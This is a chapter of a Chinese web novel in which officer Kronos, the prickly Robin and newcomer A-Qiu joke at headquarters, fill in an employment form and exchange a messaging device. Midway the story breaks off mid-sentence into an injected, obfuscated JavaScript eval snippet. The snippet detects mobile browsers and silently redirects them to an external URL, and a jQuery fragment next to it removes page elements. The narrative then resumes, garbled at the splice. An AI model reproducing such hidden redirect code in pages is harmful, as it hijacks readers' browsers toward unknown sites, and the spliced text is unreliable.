不要啊!阿邱都不敢往文件山的方向看了。豆子可以接着逆来顺受,阿邱却不想永无止境地欠他的人情了;雪球都是日积月累地滚成雪崩的,而把她变成雪球的阳光和气温又无法提供优良的还债条件。
“不用麻烦不用麻烦,我自己想法子找书看就是了……”
公职人员选拔统考的教辅资料只能在正规书店买到,小小报刊亭还不具备分销资质,她知道镇上的书店在哪儿,存够钱之前先抽空去当个窃蠹,这样的事她之前也没少干。
冷不防,豆子插了一句:“真的考不了武艺吗?”
说话时,他还是不肯舍出一个正眼来,这下阿邱相信刚才那声冷嗤也是他发出来的了。
“对了对了!”像是被提醒到了,克洛诺斯清脆地一拍巴掌,“差点忘了问你们,旅店那边到底是怎么个事儿?”
……这时间跨度有点太长了吧。
“那老板蛮不讲理,还满口喷脏,罗宾警官差点跟他打起来,我就赶紧把他拉走了。”
为避免提到昨日那起同类案件,阿邱还在斟字酌句,克洛诺斯却毫不在意地挪近了椅子:“你把谁拉走了?你一拉他就走了?真的吗?那个豆子?那个犟驴?那个为了叛逆而叛逆的问题儿童?那块从出生起就住在茅坑里的硬石头?……”
一顶顶帽子扣到头上,豆子终于背叛了他坚守的酷学,就近抄起本什么册子,猛地丢向队长。
克洛诺斯下意识地闪开,又想起阿邱还待在危险地带,半道上突破人体极限、忽然改了方向,一伸手,稳稳当当接住了册子。
原来粉丝过激到一定程度是会出手攻击偶像的吗……很符合十字城邦的尚武精神呢。这个先不论,能在短暂的时间内展示出如此清晰的策略变化脉络,克洛诺斯的体术才是真的令人叹服,阿邱本还幻想着“那时候的豆子有没有被我酷到呢”,现在也不好意思跟真正的专家班门弄斧了。
把暗器扔回发射地——并顺利击中目标——后,克洛诺斯兴致勃勃地接着采访她:“快说说,你是怎么做到的?”
“可能我力气大吧……”
甲方如有需要,乙方可以现场表演一个单手举茶几。
“那缴械呢?缴械可不是力气大就能做到的啊!”
“那个……大概是运气好吧。”
“不可能,绝对不可能!”克洛诺斯思忖片刻,忽然一拍茶几:“不如这样吧!广场上现在没几个人,阿邱小姐,你跟豆子状态全开地比试一场,让我见识见识你的实力!”
不要啊,这回是真的不要啊!以豆子这个一撅就折的脆身板,搞不好会死人的!
“不行不行,他的伤还没养好——”
“啪!”
克洛诺斯掏出一支枪拍在茶几上。
他的左手覆在上面没有拿开:“或者我让你一只手,你来缴我的枪?”
阿邱“腾”地站起身:“今天就打扰到这里了感谢款待改日再见!”
“别走!枪你不喜欢,要不换成警棍——”
“你俩差不多得了!”
秘技·文件之耳光平等地落在了每一个人的脸上。
鼻尖红痕未消的豆子稳健地插入两人中间,利索地收拾好刚才飞来的文件夹,泰然自若、气定神闲地担起了督学的职责——除了眼里满是黑沉沉的杀意。
“都看着我干什么?我脸上有你们人生的答案吗?”杀意正在悄无声息地蔓延,“你!填完劳务派遣登记表再走。”
“好的。”手里被塞了一支笔,阿邱老老实实坐回了原位。
“你!蹄子收一收,踩脏了别人的裙子,洗衣费你来付啊?”
“好的。”枪支被没收,克洛诺斯委委屈屈地把脚缩回了茶几下面。
指挥处的空气质量实在太好了,密度大得一只苍蝇飞进来都要被胶住翅膀。
五分钟后。
“那个,我能说句话吗?”克洛诺斯弱弱地举手:“阿邱小姐好像不擅长填这个,不如作为前辈的豆子你来指导一下……?”
事实上,除了填好名字,登记表比阿邱的裙子还要干净。
不是她读不懂那些栏目,只是面对一份自己配不上的合约,她一直在撒谎和说实话之间徘徊不决。
豆子听取建议,索性从阿邱手上抽出纸笔,三下五除二帮她填好了,一式两份——那就可以把心放回肚子里了,人家只是走个流程,犹豫太久反倒耽误了时间。
阿邱更加羞愧,深深地垂下头。表格回到手上,她的眼睛在豆子的笔迹上滑了一跤:想不到这人写字还挺好看的,每个字都像开口的豆荚一样规整,又像新发的豆苗一样舒展。
“如果你还在为最近的二连败感到失落……”克洛诺斯在短短一个章节中获得了成长,一直忍到书写结束后才捣乱,大力拍着豆子的肩膀道:“人生还很长,再坚持一下,总能等到你帅炸天的那一刻,阿邱小姐你说是不是!”
“是的是的,总会有那么一天的!”阿邱连声附和道。
可惜临时督学半句奉承话也听不进去,看向克洛诺斯,眼里的冰锥嗖嗖地飞过去:“入职手续已经办完了。所以队长,你打算什么时候跟她介绍工作内容?”
克洛诺斯止住笑:“哎呀,瞧我,都把这事儿给忘了。”
这一唱一和还挺像那么回事的。要不是早就知道豆子对此一无所知,阿邱都要以为他们是提前串通好了的,专骗路过的青春美少女为他们卖命……
稍等。一个突如其来的想法击中了她:该不会,蒙在鼓里的只有她一个人吧?
于是紧急查看合同:“那个,请问这句‘原则上最终解释权归甲方所有’可以展开说说吗?”
她真正想问的是:就算被要求当牛做马、杀人越货、砍下自己的脑袋给领导当球踢,也没有拒绝的余地吗?
——但冷静下来想想,就算真是这样,她也没得挑了。再怎么说也是一份正经收入啊,既不卡性别也不卡通行证,单位说出去还好听,感恩戴德吧她就。
“哦,这句是在说,机动队员通常没有一个固定的工作流程,任务总是跟着大部队的行进方向灵活调整的。”克洛诺斯正经起来,“比方说,近期打算派给你的任务就非常简单:请你帮我们盯着夜之窟。”
“怎么个盯着法?不需要……入职技能培训吗?”
“技能培训?哈哈,用不着这么紧绷,你就在那边正常工作生活,有什么异状及时汇报给我们就行——对了,听说你在家门口找到了兼职,还没来得及恭喜你呢!”
“谢谢谢谢。”阿邱有些惋惜:“可是这样就不能光明正大把徽章别在胸口了……”
许是出于共情,克洛诺斯身体里的小孩钻出来,学着她的样子挥了挥拳头:“没办法,谁叫咱们是秘密信使呢,暂时的躲藏也是为了永恒的光荣——耶!”
“耶!”
“还有,如果你在意制服的事,我这边可以提供一个方案:标准音最近更新了样式比较低调的春季款女帽,不细看的话,完全可以拿来当日常搭配……”
眼看着话题又要跑偏,豆子再次出言提醒:“发现了异状,她跑步过来向你报告吗?”
“当然不是!瞧我这记性,年纪上来了没办法,你多担待。豆子豆子,快把我抽屉里的那个东西拿出来——看见没,队伍离了年轻人就是寸步难行!”
“那个东西”?
摆上茶几的是一只小小的圆形仪器。克洛诺斯按按这里,再按按那里,“啵”的一声,一小块半透明的屏幕弹到了外面。
阿邱认出来:“这是飞笺器?”
飞笺终端,也称飞笺器,一种依靠信号塔发射压缩声波信息的通讯设备,早期为军方所用,上回她接触这项密不外传的无线电技术还是在六年前;随着技术力的局部提高,这东西不仅越做越小、越做越花哨,现在还普及到警卫队来啦?想来投入市场狠狠捞钱——不,投入市场惠及民众也是指日可待。
“这是我的0号备用机,上个月换新之后就闲置了。”飞笺器和它的使用说明书一起推到了阿邱眼前:“我保养得很好,成色八新以上,一点故障都没有,用起来跟新的没差!马尔科姆管我要我还不给他呢。”
简要学习了使用方法,读到“消息的分类”那一栏,阿邱又是汗流浃背——怎么会是用波形的颜色来区分发信与收信的!
……也不是不能解决,就是要辛苦她一条一条戳开分辨了,好在耐心是她最不缺的东西。
“我差不多都学会了,谢谢你愿意把这么昂贵的东西借给我用……”
“借给你?这是送给你的呀!”克洛诺斯的口腔为自己的善举而发痒,莫名其妙冲着豆子弹了个舌,“里面存了我们终止式三个人的短码,你用档案归类术就能调出来。”
“明白啦!”
说起来,阿邱时常怀疑终止式只有他们三个人,事实好像也是如此。可能就像话剧舞剧一样,戏份不重的队员都画在舞台的布景板上了吧。
“豆子的短码我先帮你置顶咯?好嘞!那么他就是你的第一联络人了。说出来你可能不信,这是因为他——一天到晚都不睡觉!”
阿邱眨巴眨巴眼,判断着这句是不是玩笑话,见豆子没有反对意见,便贴心地问起了克洛诺斯会感兴趣的事:“用压缩声波传话会不会不太安全?我是说,跟传统密信加齑言台模式比起来的话?”
“那你可就不知道了,安上我们格林匹克堡自助研发的芯片,现在已经能做到内线通话啦!不过直到今天,24小时紧急密信也还是难以被取代,你就别担心狮鹫物流的顶尖信使会失业啦。”克洛诺斯果然高兴起来,还帮她突然间的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052074|179075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宜人性找到了理由,“哦——你是在担心自己的同行?不愧是我们终止式的超级新人啊!”
阿邱都被夸害臊了:“哪里的话……芯片——北城的技术这么厉害,以代达罗斯建筑学院的效率,信使也迟早要被淘汰的吧……”
“这么说,你也怀念从前那种慢悠悠的生活?”
“谁不怀念呢……”
“唉。”
“唉……”
阿邱捧起茶杯,跟克洛诺斯一起感伤起来。
又不敢感伤太久,不然豆子警官会生气的。快,那个预备救世主,任何场景下都能马上找到有趣的话题不该是你的天职吗!
阿邱慌不择路地看回了表格。按照标准格式,“邱”在“珊”的后面,从这里,她找到了一个了解新伙伴的切入点。
“对了罗宾警官,你的姓氏是什么?”
像是在参加有奖竞答,克洛诺斯抢着说:“想不到吧,他姓洛夫克拉夫特!”
罗宾·洛夫克拉夫特?
“是笔名吗?”
“又答错了,是真名!”
“哇好厉害——所以他爱哪门手艺?”
“嘿,你要是感兴趣,且听我慢慢道来。”
确定要慢慢道来?豆子警官本人还在旁边坐着呢,并缓缓举起了擅长给人耳光的一沓文件。
“有段时间啊,豆子在武术上陷入了瓶颈,怎么都进步不了,情绪就特别糟糕,他人缘又不好、找不到倾诉对象,寂寞无处排遣,于是他就——”
怎么怎么?阿邱竖起了耳朵。于是他就开始抽烟了?开始酗酒了?开始滥交了?
“——学会了做饭。”
嘁。
“……真是意想不到!”
“是吧,超酷的,和那种一天到晚只会撩妹的浪荡儿还不是一种酷法!他又有天赋又下功夫,现在已经是标准音第一烹饪大师啦,我封的,嘿嘿。”随话语落下的爱的巴掌可能又加重了豆子的伤势,“烘焙、熏腊、蜜饯腌渍……一切你知道的希孚里亚家常菜式,他都很拿手!尤其是招牌菜蒜味腊肠,无论蒸着吃还是煎着吃都是一绝,我们的祭司尝了都说好!可惜工作一忙他就没机会给大家露一手了,唉,真怀念我们还在格林匹克堡的日子啊。”
虽然克洛诺斯今天一直在叹气,但阿邱注意到了一件事:哦这么一说标准音的团队氛围还蛮好的,是想怎样?
……大事不妙,越听越觉得他们不像个反派组织了。
“还有这个!”克洛诺斯指着曲奇道:“我们囤的面粉有点受潮了,他这才难得出一次马,我敢打包票,全境最棒的手作曲奇就在我们终止式的茶几上了,今天你还真是来着了!”
豆子缓缓放下文件夹,接受了自己百分百被缴械的命运,无论是以北风还是太阳的形式:“说够了没,你在推销我吗?”
“这个曲奇很好吃!”忽然,阿邱大声夸赞道。
“特别特别好吃。”她冷汗涔涔地重复了一遍,双手抓着膝盖上的布料,心里愧疚极了。
她竟然没做好这盘曲奇有可能很好吃的准备——在豆子警官背过身去清扫冰山时,她还偷偷往口袋里揣了几块。只可惜这条棉布裙自带的口袋太浅了,在十字城邦,女士服装和那些专为一米七五以下美少年设计的服装一样,大都只要美观,不要实用。
这还不是最让她心虚的。她真正难过的是,偷走一个民间大师精心准备的点心,仅仅是为了填饱自己毫无鉴赏能力的肚子。
换个话题、快点换个话题,求求你……
“那——那他不睡觉又是怎么回事呢?”
克洛诺斯被阿邱的干笑弄迷糊了:“这个嘛,他体质异于常人?好像三天只用睡一顿觉,白天又精神很足,从来都不偷懒,我也搞不太明白——不如,我帮你问问他?”
“哈哈哈这样啊,那你赶紧研究研究他是不是上发条代替吃饭的……”
说着,阿邱意识到克洛诺斯是在打趣她,对上他的视线,发现那笑容愈发诡异了。
克洛诺斯的目光在两个年轻人身上打转,慢悠悠地说道:“好了,阿邱,以后你可以管我叫‘大哥’,豆子有时候也这么叫我,你俩是同辈,以后要记得常来往啊——”
阿邱还没有完全丧失理智,还记得用委婉的“啊哈哈”来表达拒绝。
她的这份退缩可能激出了克洛诺斯的心里话:“说到这里,其实,你今天最应该感谢的人是——”
“茶煮开了。”豆子起身道:“二位要续杯吗?”
“不要不要,我经常告诫你下午三点以后喝茶容易失眠,你是一点也听不进去啊!别打岔,阿邱,你到底什么时候搬过来住?赶紧确定下来,我好叫豆子随时准备腾房间。”
这回,阿邱得以从正面观赏到了豆子是如何后背一僵的。